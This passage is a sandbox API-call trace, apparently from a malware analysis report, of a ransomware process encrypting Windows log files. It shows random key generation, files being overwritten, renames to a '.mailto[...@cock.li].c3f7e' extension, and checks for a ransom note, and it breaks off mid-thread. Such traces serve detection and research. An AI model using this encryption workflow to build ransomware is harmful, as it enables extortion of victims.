	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xfca7cf4a
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xe5a1e7bf
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x618a6560
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x34a0e98
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xd95f7b9a
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xb087004f
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x9ff15ccb
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x3fbca815
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x6bb3ae54
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x1a340011
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x8dcf24d
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xda0e1d65
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x17469ddd
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x6e2f6bcf
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x23a75459
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x29f36d5d
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xec2d8d29
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xd145e927
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x831114eb
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x5cd17f6
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x820eb10f
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x418b7258
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xccd65e04
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x77c34e78
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x9e2eb6b9
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xb961e5f
	[0083.694] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xd2ec8dfd
	[0083.695] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x5851177f
	[0083.695] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0xd9f18024
	[0083.695] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x7e6491fe
	[0083.695] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x8482c3fa
	[0083.695] RtlRandom (in: Seed=0x27abfaa8 | out: Seed=0x27abfaa8) returned 0x26e926c3
	[0083.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0083.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.703] ReadFile (in: hFile=0x16f8, lpBuffer=0x4ea3008, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27abfa98, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesRead=0x27abfa98*=0x2000, lpOverlapped=0x0) returned 1
	[0083.706] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.706] WriteFile (in: hFile=0x16f8, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27abfa94, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x27abfa94*=0x2000, lpOverlapped=0x0) returned 1
	[0083.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0083.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776150
	[0083.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x47761f0
	[0083.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.708] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.708] WriteFile (in: hFile=0x16f8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27abfafc, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x27abfafc*=0x129, lpOverlapped=0x0) returned 1
	[0083.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47761f0) returned 1
	[0083.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776150) returned 1
	[0083.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.711] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.711] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl"
	[0083.711] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.711] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27abfab4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.711] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.711] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27abfaac, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.713] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x27abfac0, FileInformation=0x27abfa98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27abfac0, FileInformation=0x27abfa98) returned 0x0
	[0083.713] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27abfac0, FileInformation=0x27abfa98, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.714] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.714] FlushFileBuffers (hFile=0x16f8) returned 1
	[0083.725] CloseHandle (hObject=0x16f8) returned 1
	[0083.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.726] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.726] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.726] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bdb90) returned 1

Thread:
	id = 1129
	os_tid = 0x1e14

	[0083.600] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.012.etl")) returned 0x2020
	[0083.998] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl", dwFileAttributes=0x20) returned 1
	[0083.998] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.012.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.998] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x27b3fab0 | out: lpFileSize=0x27b3fab0*=8192) returned 1
	[0083.998] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.998] ReadFile (in: hFile=0x16f8, lpBuffer=0x27b3fa34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27b3fa30, lpOverlapped=0x0 | out: lpBuffer=0x27b3fa34*, lpNumberOfBytesRead=0x27b3fa30*=0x4, lpOverlapped=0x0) returned 1
	[0083.999] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0084.000] NtQuerySystemTime (in: CurrentTime=0x27b3fa10 | out: CurrentTime=0x27b3fa10*=132251868107338115) returned 0x0
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x7ef169bb
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x297c2437
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xe8417fd5
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x3487ed41
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xc74fe8a9
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xe8ad7656
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x4d1dd455
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x58cba1dd
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xf7fa7bd8
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x99b688f6
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xf682f1e8
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xbdb64002
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xfe876a42
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xf193461c
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x4b6c4422
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x58624ebe
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x967bde7c
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x95a5e995
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xa83ada61
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x73865380
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x27514e7e
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x91a1ae0e
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xa13455b1
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x18271e5e
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xa1000d9d
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xf19e82fb
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x4aa2f8c1
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x8da5865a
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x318b5617
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x356a3236
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0x86504033
	[0084.000] RtlRandom (in: Seed=0x27b3fa1c | out: Seed=0x27b3fa1c) returned 0xeb012a8d
	[0084.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0084.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0084.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0084.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0084.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0084.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0084.009] ReadFile (in: hFile=0x16f8, lpBuffer=0x4ea3008, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27b3fa0c, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesRead=0x27b3fa0c*=0x2000, lpOverlapped=0x0) returned 1
	[0084.010] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.010] WriteFile (in: hFile=0x16f8, lpBuffer=0x4eaf810*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27b3fa08, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesWritten=0x27b3fa08*=0x2000, lpOverlapped=0x0) returned 1
	[0084.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0084.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776060
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775ed0
	[0084.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342a8
	[0084.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0084.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0084.011] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.011] WriteFile (in: hFile=0x16f8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27b3fa70, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x27b3fa70*=0x129, lpOverlapped=0x0) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342a8) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776060) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34230) returned 1
	[0084.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0084.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925b58
	[0084.014] wcscpy (in: _Dest=0x4925b58, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl"
	[0084.014] wcscat (in: _Dest=0x4925b58, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.014] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27b3fa28, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0084.014] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27b3fa20, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0084.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0084.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0084.015] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x27b3fa34, FileInformation=0x27b3fa0c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27b3fa34, FileInformation=0x27b3fa0c) returned 0x0
	[0084.015] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x27b3fa34, FileInformation=0x27b3fa0c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925b58) returned 1
	[0084.016] FlushFileBuffers (hFile=0x16f8) returned 1
	[0084.017] CloseHandle (hObject=0x16f8) returned 1
	[0084.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0084.018] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.018] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.018] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0084.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bdc10) returned 1

Thread:
	id = 1130
	os_tid = 0x1e18

	[0083.601] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.013.etl")) returned 0x2020
	[0083.962] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl", dwFileAttributes=0x20) returned 1
	[0083.975] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.013.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1700
	[0083.976] GetFileSizeEx (in: hFile=0x1700, lpFileSize=0x27bbf9e8 | out: lpFileSize=0x27bbf9e8*=8192) returned 1
	[0083.976] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.976] ReadFile (in: hFile=0x1700, lpBuffer=0x27bbf96c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27bbf968, lpOverlapped=0x0 | out: lpBuffer=0x27bbf96c*, lpNumberOfBytesRead=0x27bbf968*=0x4, lpOverlapped=0x0) returned 1
	[0083.986] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.986] NtQuerySystemTime (in: CurrentTime=0x27bbf948 | out: CurrentTime=0x27bbf948*=132251868107182357) returned 0x0
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x68389840
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xb2036a17
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x90d5252a
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x522acce7
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x7f09fdc9
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xfcc3901c
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x53be2dba
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xccd3a769
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xaf42f2d5
